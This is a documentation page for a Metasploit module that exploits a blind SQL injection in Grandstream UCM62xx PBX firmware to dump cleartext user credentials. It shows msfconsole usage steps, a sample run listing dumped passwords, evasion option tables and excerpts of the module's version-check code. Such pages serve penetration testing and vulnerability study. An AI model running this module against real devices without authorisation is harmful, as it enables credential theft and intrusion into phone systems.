Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump - Metasploit


This page contains detailed information about how to use the auxiliary/gather/grandstream_ucm62xx_sql_account_guess metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump
Module: auxiliary/gather/grandstream_ucm62xx_sql_account_guess
Source code: modules/auxiliary/gather/grandstream_ucm62xx_sql_account_guess.rb
Disclosure date: 2020-03-30
Last modification time: 2022-02-15 10:47:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8089, 8443, 8880, 8888
List of CVEs: CVE-2020-5723, CVE-2020-5724

This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx IP PBX to dump the users table. The injection occurs over a websocket at the websockify endpoint, and specifically occurs when the user requests the challenge (as part of a challenge and response authentication scheme). The injection is blind, but the server response contains a different status code if the query was successful. As such, the attacker can guess the contents of the user database. Most helpfully, the passwords are stored in cleartext within the user table (CVE-2020-5723). This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Basic Usage


msf > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess
msf auxiliary(grandstream_ucm62xx_sql_account_guess) > show targets
    ... a list of targets ...
msf auxiliary(grandstream_ucm62xx_sql_account_guess) > set TARGET target-id
msf auxiliary(grandstream_ucm62xx_sql_account_guess) > show options
    ... show and set options ...
msf auxiliary(grandstream_ucm62xx_sql_account_guess) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx IP PBX to dump the users table. The injection occurs over a websocket at the websockify endpoint, and specifically occurs when the user requests the challenge (as part of a challenge and response authentication scheme). The injection is blind, but the server response contains a different status code if the query was successful. As such, the attacker can guess the contents of the user database. Most helpfully, the passwords are stored in cleartext within the user table (CVE-2020-5723).

This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.

Installation

The UCM62xx PBX is a physical device and is not known to have been successfully emulated. However, if you have a device, affected firmware can be downloaded here:

  • http://firmware.grandstream.com/Release_UCM62xx_1.0.20.22.zip

Verification Steps


  • Acquire an affected device and configure it with the affected firmware
  • Do: use auxiliary/gather/grandstream_ucm62xx_sql_account_guess
  • Do: set RHOST <ip>
  • Do: check
  • Do: Verify the remote host is vulnerable.
  • Do: run
  • You should get a list of valid credentials for the target device.

Options


TARGETURI

Specifies base URI. The default value is /.

Scenarios


Grandstream UCM6202 IP PBX firmware version 1.0.20.20

msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check

[*] Requesting version information from /cgi
[*] 10.0.0.7:8089 - The target appears to be vulnerable. The self-reported version is: 1.0.20.20
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run
[*] Running module against 10.0.0.7

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[+] The target appears to be vulnerable. The self-reported version is: 1.0.20.20
[*] Found the following username and password: admin - cheesed00dle
[*] Found the following username and password: 1000 - gZ15S8O8U5S72oli
[*] Found the following username and password: 1001 - qK6uRxwC
[*] Found the following username and password: 1002 - aP9ux515W7p5U
[*] Found the following username and password: 1003 - pM6mo!E8u37k
[*] Found the following username and password: 1004 - mC7N68dm8h
[*] Auxiliary module execution completed
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > 

Go back to menu.

Msfconsole Usage


Here is how the gather/grandstream_ucm62xx_sql_account_guess auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess

msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > show info

       Name: Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump
     Module: auxiliary/gather/grandstream_ucm62xx_sql_account_guess
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-03-30

Provided by:
  jbaines-r7

Module stability:
 crash-safe

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Me
                                        tasploit
  RPORT      8089             yes       The target port (TCP)
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path
  VHOST                       no        HTTP server virtual host

Description:
  This module uses a blind SQL injection (CVE-2020-5724) affecting the 
  Grandstream UCM62xx IP PBX to dump the users table. The injection 
  occurs over a websocket at the websockify endpoint, and specifically 
  occurs when the user requests the challenge (as part of a challenge 
  and response authentication scheme). The injection is blind, but the 
  server response contains a different status code if the query was 
  successful. As such, the attacker can guess the contents of the user 
  database. Most helpfully, the passwords are stored in cleartext 
  within the user table (CVE-2020-5723). This issue was patched in 
  Grandstream UCM62xx IP PBX firmware version 1.20.22.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-5724
  https://nvd.nist.gov/vuln/detail/CVE-2020-5723
  https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf
  https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py

Module Options


This is a complete list of options available in the gather/grandstream_ucm62xx_sql_account_guess auxiliary module:

msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > show options

Module options (auxiliary/gather/grandstream_ucm62xx_sql_account_guess):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
                                         etasploit
   RPORT      8089             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the gather/grandstream_ucm62xx_sql_account_guess auxiliary module:

msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > show advanced

Module advanced options (auxiliary/gather/grandstream_ucm62xx_sql_account_guess):

   Name                  Current Setting                  Required  Description
   ----                  ---------------                  --------  -----------
   AutoCheck             true                             no        Run check before exploit
   DOMAIN                WORKSTATION                      yes       The domain to use for Windows authentication
   DigestAuthIIS         true                             no        Conform to IIS, should work for most servers. Only set t
                                                                    o false for non-IIS servers
   FingerprintCheck      true                             no        Conduct a pre-exploit fingerprint verification
   ForceExploit          false                            no        Override check result
   HttpClientTimeout                                      no        HTTP connection and receive timeout
   HttpPassword                                           no        The HTTP password to specify for authentication
   HttpRawHeaders                                         no        Path to ERB-templatized raw headers to append to existin
                                                                    g headers
   HttpTrace             false                            no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                          no        HTTP request and response colors for HttpTrace (unset to
                                                                     disable)
   HttpTraceHeadersOnly  false                            no        Show HTTP headers only in HttpTrace
   HttpUsername                                           no        The HTTP username to specify for authentication
   SSLVersion            Auto                             yes       Specify the version of SSL/TLS to be used (Auto, TLS and
                                                                     SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23,
                                                                    SSL3, TLS1, TLS1.1, TLS1.2)
   SqliDelay             1.0                              no        The delay to sleep on time-based blind SQL injections
   UserAgent             Mozilla/5.0 (Windows NT 10.0; W  no        The User-Agent header to use for all requests
                         in64; x64) AppleWebKit/537.36 (
                         KHTML, like Gecko) Chrome/98.0.
                         4758.81 Safari/537.36 Edg/97.0.
                         1072.69
   VERBOSE               false                            no        Enable detailed status messages
   WORKSPACE                                              no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/grandstream_ucm62xx_sql_account_guess module can do:

msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/grandstream_ucm62xx_sql_account_guess auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accep
                                                            ted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and versio
                                                            n
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Acce
                                                            pted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes,
                                                            hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to parse the returned JSON response.


Here is a relevant code snippet related to the "Failed to parse the returned JSON response." error message:

71:	    return 1 unless res
72:	
73:	    begin
74:	      res_json = JSON.parse(res.payload_data)
75:	    rescue JSON::ParserError
76:	      fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
77:	    end
78:	
79:	    status = res_json.dig('message', 'status')
80:	    return 1 if status.nil?
81:	

No response from target!


Here is a relevant code snippet related to the "No response from target!" error message:

91:	      'method' => 'POST',
92:	      'uri' => normalized_uri,
93:	      'vars_post' => { 'action' => 'getInfo' }
94:	    })
95:	
96:	    return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200)
97:	
98:	    body_json = res.get_json_document
99:	    return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?
100:	
101:	    prog_version = body_json.dig('response', 'prog_version')

Got response from target but it didn't contain a JSON body!


Here is a relevant code snippet related to the "Got response from target but it didn't contain a JSON body!" error message:

94:	    })
95:	
96:	    return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200)
97:	
98:	    body_json = res.get_json_document
99:	    return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?
100:	
101:	    prog_version = body_json.dig('response', 'prog_version')
102:	    return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?
103:	
104:	    if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')

JSON response obtained from target, but no prog_version field could be found!


Here is a relevant code snippet related to the "JSON response obtained from target, but no prog_version field could be found!" error message:

97:	
98:	    body_json = res.get_json_document
99:	    return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?
100:	
101:	    prog_version = body_json.dig('response', 'prog_version')
102:	    return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?
103:	
104:	    if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
105:	      return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
106:	    end
107:	

The self-reported version is: <PROG_VERSION>


Here is a relevant code snippet related to the "The self-reported version is: <PROG_VERSION>" error message:

100:	
101:	    prog_version = body_json.dig('response', 'prog_version')
102:	    return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?
103:	
104:	    if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
105:	      return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
106:	    end
107:	
108:	    Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}")
109:	  end
110:	

The self-reported version is: <PROG_VERSION>


Here is a relevant code snippet related to the "The self-reported version is: <PROG_VERSION>" error message:

103:	
104:	    if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
105:	      return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
106:	    end
107:	
108:	    Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}")
109:	  end
110:	
111:	  def run
112:	    sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
113:	      wsock = connect_ws(

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.